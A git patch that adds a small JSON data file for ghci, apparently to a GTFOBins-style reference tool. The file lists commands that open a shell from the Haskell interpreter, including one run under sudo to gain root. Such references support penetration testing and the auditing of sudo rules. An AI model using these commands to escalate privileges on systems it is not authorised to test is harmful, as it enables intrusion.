From db2c72e53663eb571b057320d01259912e0e0c0e Mon Sep 17 00:00:00 2001
From: "Mr. Robot" <t0thkr1s@icloud.com>
Date: Sat, 24 Oct 2020 18:30:33 +0200
Subject: [PATCH] add data source for ghci

---
 data/ghci.json | 14 ++++++++++++++
 1 file changed, 14 insertions(+)
 create mode 100644 data/ghci.json

diff --git a/data/ghci.json b/data/ghci.json
new file mode 100644
index 0000000..d6d4fb7
--- /dev/null
+++ b/data/ghci.json
@@ -0,0 +1,14 @@
+{
+  "functions": {
+    "shell": [
+      {
+        "code": "ghci\nSystem.Process.callCommand \"/bin/sh\"\n"
+      }
+    ],
+    "sudo": [
+      {
+        "code": "sudo ghci\nSystem.Process.callCommand \"/bin/sh\"\n"
+      }
+    ]
+  }
+}